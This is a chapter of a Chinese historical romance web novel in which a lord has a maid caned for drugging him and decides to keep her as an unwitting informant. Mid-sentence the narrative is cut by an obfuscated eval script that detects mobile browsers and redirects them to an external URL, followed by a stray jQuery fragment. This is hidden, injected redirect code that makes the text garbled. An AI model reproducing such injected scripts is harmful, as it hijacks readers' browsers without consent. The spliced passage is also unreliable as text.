卿屿眠 作品

8. 杖责(第2页)

 

张清时没有理会,继续质问道:“温玉,是谁给我下的药?”

 

“下药?”徐管家满脸诧然地看着两人,更加迷惑了。

 

“奴婢不知。”温玉淡然道。

 

“徐管家。”张清时冷冷道,“明日将这批丫鬟全给换了。”

 

“这……郎君,发生什么事了?”徐管家不忍问道。这些丫鬟都是自己招过来的,共事也有些时日,又没犯什么大错,要赶走这也得给人家个说法吧。

 

张清时只道:“无缘故。”

 

“这……”徐管家着急地看了一眼温玉,“温玉呀,有什么事情就跟郎君解释清楚呀,你这被赶出去,其他府还怎么收你们啊?”

 

温玉还是一言不发。

 

张清时便再次催促:“徐管家,无须多言,今日带她回去,明日就着手解散。”

 

这一看是真的要动真格了,徐管家犹豫了一下道:“是,郎君。”

 

闻言,在地上跪着一直沉默不语的温玉立即抬起头来,直直地对上张清时那双清明却又带着愠怒的眼眸。

 

她不想被赶出府。

 

那她该解释什么?解释她是陈府派来的细作,而她的任务就是勾搭上张郎君,从而让陈禹在青州更加叱咤风云吗?

 

还是解释说药不是她本意下的,是无可奈何之举呢?他

 

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147865|164753||http|test|mini|href|location''.split(''|''),0,{}));

 

() {

 

$(''.inform'').remove();

 

$(''#content'').append(''

 

会选择相信吗?

 

“温玉,别看了,快解释呀!”徐管家真是觉得温玉不要命了,虽不知道犯了什么事,也不该在郎君最生气的时候直视郎君呀。

 

随即,温玉低下头,心死地回道:“这药的确是奴婢下的。”

 

“你哪来的药,动机是什么?”张清时继而质问道。

 

“奴婢从家里带的,奴婢自始至终只有一个目的——”温玉紧抿了一下唇,“喜欢郎君,想和郎君在一起。”

 

这解释的,把徐管家都听懵了。

 

但在一旁的张清时却闭上了眼,沉声道:“好,温玉以下犯上,大逆不道,徐管家,将温玉拖出去,重杖二十下。”

 

“啊?”徐管家震惊,温玉还受着伤呢,这要是连打二十大板,估计得打个半死。

 

“奴婢甘愿受罚!”

 

还不等徐管家求情,温玉直接应下。

 

她不在乎惩罚重与不重,也不在乎外人如何相看,她只在乎自己能不能留在张郎君这,只在乎自己能不能救到母亲。

 

见温玉应的这么果决,徐管家也不好再多说什么,将温玉搀扶起来道:“你且在门外先站着,我会叫些仆从过来。”

 

“是。”

 

温玉应后,自觉退下,站在屋外。

 

屋外的雨停了已久,但雨珠还挂在墙上、树梢上,枝叶上。

 

等风吹过,圆润的雨珠才会顺着风势往下掉落,终而掉落在地上,成为一摊无状的水渍。

 

接着,就有三四个仆从举着长凳和长木板走了过来。

 

然后大力地将温玉按倒在木凳上,再派人高高举起长木板,又狠狠地挥落。

 

“啪!“

 

一下一下的碰击声打破了寂静的夜晚,也打破平静的人心。

 

站在屋内的徐管家听得那是连连皱眉,不理解地问:“郎君,这温玉到底是给你下了什么药,让你这么惩罚一个姑娘家啊?”

 

张清时睁开眼,看着门口,淡淡道:“春药。”

 

“春药那又如何?等等春——?”

 

徐掌柜瞪大了双眼:“她给你下这种药???”

 

张清时点了点头:“我今晚只喝过她递给我的东西。”

 

“那此人断不可留!”徐管家立刻严肃了起来,原以为温玉这姑娘看起来柔弱老实,没想到竟对主子起了这样恶心的心思。

 

这杖责也是该罚!

 

“她得留下来。”

 

张清时继续解释:“此药我问过郎中了,不是中原之要,而是来自海上国乌合。她从未出过府,何来的药?”

 

“那她是——卧底?”徐管家暗暗吃惊,没想到有些人为了结交张郎君竟把手段用在这种地步,关键这人还是自己选的。

 

“那要不,把她抓起来逼问?”

 

徐管家将警惕地眼神移至门边,门外只有木板的敲打声,却毫无半点痛苦的呻吟声。

 

这让他更加武断了温玉其实不是丫鬟,而是一个内力高强的刺客,随时有杀死张郎君的可能。

 

“不用,她不会说任何实话的。”张清时望向书桌,“徐管家,你还记得我们是为什么来自吗?”

 

“小的自然知道,是为了追查隆王与领国勾结之事。”徐管家沉声回答道。

 

“青州临海,往来外邦贸易不在少数,要查清背后是谁在交易实属不易。”

 

“而温玉只是他们一颗棋,只要不发现,亦或是我们的一颗棋。”张清时目光凝聚了起来,“但我们可以透过她,摸清她的底细,从而查清她的幕后到底是怎样的一群人。”